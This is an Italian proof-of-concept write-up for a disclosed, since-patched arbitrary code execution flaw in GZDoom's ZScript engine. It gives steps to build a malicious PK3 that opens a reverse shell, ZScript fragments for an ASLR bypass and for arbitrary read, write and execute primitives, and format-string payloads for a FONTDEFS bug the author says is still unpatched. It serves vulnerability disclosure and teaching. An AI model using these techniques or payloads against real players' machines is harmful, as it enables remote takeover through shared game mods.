
Prova di concetto per CVE-2024-54756, una vulnerabilità che ho trovato nel motore di scripting ZScript di GZDoom.
Una proof of concept per una vulnerabilità di esecuzione di codice arbitrario che ho trovato nella funzionalità ZScript di GZDoom (https://github.com/zdoom/gzdoom). Un attaccante può condividere un file PK3 contenente un file sorgente ZScript malevolo e ottenere accesso al PC della vittima.
Un grande ringraziamento a Rachael e Agent Ash del team di sviluppo di GZDoom per le loro risposte tempestive, e a loro e agli altri sviluppatori di GZDoom per aver risolto rapidamente la questione!
Confermato funzionante per 4.13.0 e 4.13.1, e probabilmente funziona anche per versioni precedenti. Fate attenzione a chiunque vi dica di tornare alla versione 4.13.1 o inferiore per poter giocare al loro WAD.
Questa PoC funziona solo su Linux, ma la vulnerabilità probabilmente esiste anche su Windows. Non testata su ZDoom o LZDoom, ma la vulnerabilità potrebbe esistere anche lì.
La vulnerabilità è stata segnalata agli sviluppatori prima della pubblicazione di questa PoC e non dovrebbe più essere presente nella versione 4.13.2. Per quanto ne so, questa versione non include modifiche sostanziali.
Questa PoC è creata e rilasciata a scopo educativo, affinché gli sviluppatori di motori di gioco/scripting possano capire come possono nascere le vulnerabilità e affinché i giocatori possano capire come può apparire una mod malevola. Non sono responsabile per qualsiasi uso improprio di questa PoC. Per favore, non usatela per compromettere i PC dei vostri compagni di gioco; è illegale (non dovreste aver bisogno che ve lo dica io), ed è un atto particolarmente meschino prendere il controllo del computer di qualcuno attraverso un videogioco.
Per usare questa PoC, scaricate questo repository e create un file PK3 (che è in realtà un file zip con estensione .pk3) contenente zscript.zs e MAPINFO:
git clone https://github.com/Chainmanner/GZDoom-Arbitrary-Code-Execution-via-ZScript-PoC
cd GZDoom-Arbitrary-Code-Execution-via-ZScript-PoC
zip PoC.pk3 zscript.zs MAPINFO
Il payload predefinito è eseguire una reverse shell su localhost alla porta 1337. Avviate il listener:
nc -nvlp 1337
Eseguite la PoC in questo modo:
gzdoom -iwad <your-doom-o-freedoom-wad> -file PoC.pk3
Se ha funzionato, ora dovreste avere una reverse shell verso voi stessi.
Questa PoC è solo per Linux. Potrebbe non funzionare al primo tentativo; provate di nuovo fino a quando non funziona.
NOTA: Questa è la mia prima stesura di exploit e sto ancora lavorando sulla mia abilità di fare stesure a basso livello. Inoltre, ho fatto gran parte del debug con GDB, e sfortunatamente non ho avuto la buona idea di salvare alcuni dump di memoria per illustrare meglio la mia spiegazione. Scusate! La mia prossima stesura sarà migliore, lo prometto.
GZDoom è un source port di Doom progettato per prestazioni ed estensibilità. Grazie alle sue potenti funzionalità, sono stati creati molti WAD, mod e persino conversioni totali commerciali fantastici. Sfortunatamente, dove c'è complessità, c'è l'opportunità per vulnerabilità, e in questo caso ce n'erano due presenti nel motore di scripting ZScript che hanno permesso il sorgere di una catena di exploit completa.
Questo attacco sconfigge ASLR e aggira la necessità di sconfiggere i canarini di stack. Non credo che CFI di Clang o shadow stack avrebbero aiutato qui.
La prima e più importante vulnerabilità era nel modo in cui venivano gestiti gli array enormi. Se allocate un array abbastanza piccolo, la regione di memoria allocata tende ad essere riempita con zeri ed è adeguatamente separata dagli altri oggetti; nessuna informazione può essere ottenuta leggendo memoria non inizializzata, e nessun oggetto si sovrappone all'array. Tuttavia, se allocate un array enorme - diciamo, 1073741823 parole a 32 bit o più - sarete in grado di leggere e scrivere fino a 4 GiB di memoria potenzialmente non inizializzata a partire dal punto di partenza dell'array, permettendo all'attaccante di modificare direttamente altri oggetti e sconfiggere ASLR trovando indirizzi con offset conosciuti. Inoltre, qualsiasi altro array creato dopo questo punto si sovrapporrà con quello enorme.
La seconda vulnerabilità era nei permessi della mappa di memoria. Per prestazioni più veloci, il codice ZScript viene compilato JIT in bytecode x86 o x86-64 quando possibile. Per avere questo, il codice deve essere scritto in una regione di memoria, e quella regione di memoria deve essere eseguita. Tuttavia, la regola W^X afferma che una regione dovrebbe essere scrivibile o eseguibile, ma non entrambe. Se entrambe sono applicate contemporaneamente (invece di rendere la regione scrivibile, scrivere il codice, e poi renderla eseguibile e non scrivibile), allora un attaccante con una primitiva di scrittura arbitraria sarà in grado di elevarla a esecuzione di codice arbitrario; possono scrivere shellcode e saltarci modificando, ad esempio, l'indirizzo di ritorno sullo stack (supponendo che l'attaccante non abbia una primitiva di esecuzione arbitraria). Se guardate le mappature di memoria di GZDoom mentre è in esecuzione, potete vedere ci sono diverse regioni RWX:
7fcd19700000-7fcd19800000 rwxp 00000000 00:00 0
7fcd1a100000-7fcd1a200000 rwxp 00000000 00:00 0
7fcd1eb00000-7fcd1ec00000 rwxp 00000000 00:00 0
Quindi se sono disponibili primitive di scrittura arbitraria e di esecuzione arbitraria, e l'attaccante sa dove si trova una regione RWX, può scrivere shellcode arbitrario ed eseguirlo. Rendere queste regioni RW- durante la scrittura del codice compilato JIT e poi R-X quando pronto per l'esecuzione fermerebbe questa PoC, ma non fermerebbe un attaccante dall'ottenere l'esecuzione di codice, ad esempio, modificando dati sullo stack (ROP) o sull'heap.
Inoltre, c'è un gadget utile. Ricordate che quando si alloca un array enorme, qualsiasi altro array creato dopo si sovrapporrà? Questo include array di puntatori a oggetti. Proprio come gli oggetti C++, gli oggetti ZScript possono contenere variabili e puntatori a funzioni. Supponiamo di avere questo oggetto:
class WeirdObject
{
uint one;
uint two;
uint three;
uint four;
Function<clearscope void()> funcptr;
}
Se creiamo un array contenente un puntatore a un'istanza di WeirdObject, allora l'attaccante può cambiare il puntatore dove vuole usando l'array enorme e modificare i dati puntati accedendo ai campi dell'oggetto, dandoci una primitiva di lettura/scrittura arbitraria che va oltre l'heap. I puntatori in ZScript vengono controllati per assicurarsi che non siano nulli, ma non per assicurarsi che siano sensati.
La presenza di un puntatore a funzione ci dà anche una primitiva di esecuzione arbitraria; questo, tuttavia, è un po' meno diretto, richiedendo la creazione di un VMFunction falso per soddisfare la macchina virtuale. Non appena una chiamata a una funzione ZScript viene introdotta nel codice exploit, quel codice non viene più compilato JIT. Funziona ancora, ma diventa un po' più complesso da debuggare e sfruttare. Potrebbe esserci un modo migliore per fare questa parte, ma non ho studiato abbastanza gli interni di GZDoom per conoscerlo.
Una cosa da notare: WeirdObject ha variabili membro ereditate, quindi il primo membro inizia all'offset 0x28.
Quindi, ora abbiamo i seguenti strumenti:
Come li incateniamo per creare un exploit?
Primo, poiché ASLR è abilitato, dobbiamo identificare dove si trova una regione RWX. Qualsiasi va bene. La parte dell'heap disponibile per l'array enorme contiene indirizzi che puntano a funzioni all'interno di una regione RWX, ma ha anche indirizzi che puntano ad altre regioni; come discriminiamo? Ricordate che su Linux, ASLR ha 28 bit di entropia (a volte meno!), il che significa che sebbene i bit della maschera 0x7fffffe00000 in un indirizzo siano casuali, i bit 0x0000001fffff saranno statici. Quindi, con ASLR disabilitato, supponiamo di avere le seguenti regioni RWX:
[0x7ffff2f00000, 0x7ffff3000000)
[0x7ffff3900000, 0x7ffff3a00000)
[0x7ffff4300000, 0x7ffff4400000)
Quindi possiamo usare il seguente codice ZScript per stampare puntatori a funzioni ZScript compilate JIT all'interno delle regioni RWX:
uint u32pBFA9000[1073741823];
uint u32RWX_L;
uint u32RWX_H;
for (i = 0; i < (1073741823 / 2); i += 2)
{
u32RWX_L = u32pBFA9000[i];
u32RWX_H = u32pBFA9000[i+1];
if ((u32RWX_H & 0xffff8000) == 0)
{
if ((u32RWX_L & 0xffe00000) == 0xf2e00000)
{
Console.Printf("0x%x%08x", u32RWX_H, u32RWX_L);
}
if ((u32RWX_L & 0xffe00000) == 0xf3800000)
{
Console.Printf("0x%x%08x", u32RWX_H, u32RWX_L);
}
if ((u32RWX_L & 0xffe00000) == 0xf4200000)
{
Console.Printf("0x%x%08x", u32RWX_H, u32RWX_L);
}
}
}
Ottenete gli offset applicando AND dei risultati stampati con 0x1fffff, e potete usare questi offset per identificare puntatori a regioni RWX. Più offset conoscete, maggiori sono le possibilità che l'exploit abbia successo.
Successivamente, dobbiamo preparare la primitiva di esecuzione arbitraria. Lo facciamo modificando il puntatore a funzione in un oggetto gadget, come il WeirdObject dichiarato sopra, usando una primitiva di scrittura arbitraria. Dopo che u32pBFA9000 è stato dichiarato, iniziate creando gli oggetti gadget di scrittura arbitraria e di esecuzione:
WeirdObject ppGadgetObjects[2];
ppGadgetObjects[0] = New("WeirdObject"); // Puntatore di scrittura arbitraria.
ppGadgetObjects[1] = New("WeirdObject"); // Oggetto di esecuzione arbitraria.
ppGadgetObjects si sovrappone a u32pBFA9000 proprio all'inizio, e ricordate che i membri specifici di WeirdObject iniziano all'offset 0x28. La primitiva di scrittura arbitraria appare così, dove TARGET_ADDR è l'indirizzo di destinazione della scrittura, QWORD è l'intero a 64 bit da scrivere, e _H/_L indicano rispettivamente i 32 bit alti e bassi di un intero a 64 bit:
u32pBFA9000[0] = (TARGET_ADDR_L-0x28);
u32pBFA9000[1] = TARGET_ADDR_H;
ppGadgetObjects[0].one = QWORD_L;
ppGadgetObjects[0].two = QWORD_H;
Ammetto che non so abbastanza su come funzionano i puntatori a funzione in ZScript e questa parte la trovo ancora difficile da spiegare, ma cercherò comunque di spiegarla al meglio. Scusate se vi confondo ulteriormente.
Dovrei davvero fare un diagramma per questo, ma al momento non ho voglia di fare arte ASCII. Vedete il codice sorgente dell'exploit per vedere come appare quanto sopra. Una volta risolto quanto sopra, possiamo quindi modificare il puntatore a funzione nell'oggetto gadget. Quando lo chiamiamo, eseguirà il nostro shellcode una volta che è stato scritto.
L'ultimo passo è scrivere lo shellcode stesso. Poiché questa PoC chiama un comando shell, alcune stringhe ("/bin/bash", "-c", la stringa del comando) devono essere scritte anch'esse. Questa parte potrebbe essere facile o difficile, a seconda di cosa intendete eseguire.
Quando tutto è fatto, chiamate la funzione puntata dall'oggetto gadget di esecuzione WeirdObject, e ora avete eseguito il vostro shellcode.
Ho trovato alcune vulnerabilità aggiuntive, ma non sono riuscito a trovare un modo per sfruttarle e dare una catena ACE completa. La vulnerabilità di stack overflow su strcpy() è stata corretta nella versione 4.13.2. La vulnerabilità di format string su mysnprintf() non è stata finora corretta, ma buona fortuna se cercate di sfruttarla.
C'è una vulnerabilità di format string (due, in realtà) nel costruttore FFont in common/fonts/font.cpp:
[...]
if (nametemplate != nullptr)
{
if (!iwadonly)
{
for (i = 0; i < lcount; i++)
{
int position = lfirst + i;
mysnprintf(buffer, countof(buffer), nametemplate, i + start);
lump = TexMan.CheckForTexture(buffer, ETextureType::MiscPatch);
[...]
}
}
else
{
FGameTexture *texs[256] = {};
if (lcount > 256 - start) lcount = 256 - start;
for (i = 0; i < lcount; i++)
{
TArray<FTextureID> array;
mysnprintf(buffer, countof(buffer), nametemplate, i + start);
TexMan.ListTextures(buffer, array, true);
[...]
}
[...]
}
[...]
}
[...]
L'argomento TEMPLATE da una voce nel lump FONTDEFS viene passato direttamente a mysnprintf(). Questo significa che si può avere una voce come questa che tenta di caricare un font basato su variabili dello stack:
EVILFONT
{
TEMPLATE LOL%hhx
}
Oppure una voce che scrive il numero di caratteri scritti da qualche parte sullo stack, causando un crash:
EVILFONT
{
TEMPLATE ----AAAAAAAA%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%n
}
Il fatto che l'output sia limitato non importa; i simboli di percentuale verranno analizzati indipendentemente dalla lunghezza massima.
mysnprintf() è un'implementazione personalizzata, di pubblico dominio, di snprintf() progettata per le prestazioni a scapito della flessibilità. Sfruttarla è molto più difficile rispetto all'implementazione standard di libc. Ad esempio, usando %n, si possono scrivere solo parole a 32 bit e non si possono scrivere elementi specifici dello stack usando %<num>$n.
C'è anche una chiamata rischiosa a strcpy() in LevelStatEntry() in gamedata/statistics.cpp la cui sorgente potrebbe essere più lunga della destinazione. La funzione:
static void LevelStatEntry(FSessionStatistics *es, const char *level, const char *text, int playtime)
{
FLevelStatistics s;
time_t clock;
struct tm *lt;
time (&clock);
lt = localtime (&clock);
strcpy(s.name, level);
strcpy(s.info, text);
s.timeneeded=playtime;
es->levelstats.Push(s);
}
La struttura FLevelStatistics, allocata sullo stack, appare così:
struct FLevelStatistics
{
char info[60];
short skill;
short playerclass;
char name[24];
int timeneeded;
};
E LevelStatEntry() viene chiamata così, usando LevelData.Levelname - che è di tipo std::string - come argomento:
[...]
for(unsigned i = 0; i < LevelData.Size(); i++)
{
FString lsection = LevelData[i].Levelname;
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
lsection.ToUpper();
infostring.Format("%4d/%4d, %4d/%4d, %3d/%3d",
LevelData[i].killcount, LevelData[i].totalkills, LevelData[i].itemcount, LevelData[i].totalitems, LevelData[i].secretcount, LevelData[i].totalsecrets);
LevelStatEntry(es, lsection.GetChars(), infostring.GetChars(), LevelData[i].leveltime);
^^^^^^^^^^^^^^^^^^^
}
SaveStatistics(statfile, EpisodeStatistics);
[...]
C'è un'intera catena di altre chiamate necessarie per arrivare a questo punto, a partire da FLevelLocals::ChangeLevel() in g_level.cpp, ma non mi preoccupo di mostrarlo qui. Dirò che lungo la catena di esecuzione per arrivare qui, non ci sono controlli né limiti sulla lunghezza di LevelData.Levelname.
Su un sistema moderno, questo non dovrebbe essere sfruttabile; i canarini di stack fermeranno qualsiasi tentativo di stack smashing attraverso questo punto, e ASLR impedirà all'utente di sapere dove tornare. Inoltre, si ha un solo gadget: sovrascrivere l'indirizzo di ritorno quando si esce da LevelStatEntry(). Su sistemi più vecchi, tuttavia, queste difese potrebbero non essere disponibili, e forse il codice ZScript compilato JIT potrebbe fornire gadget per lo sfruttamento.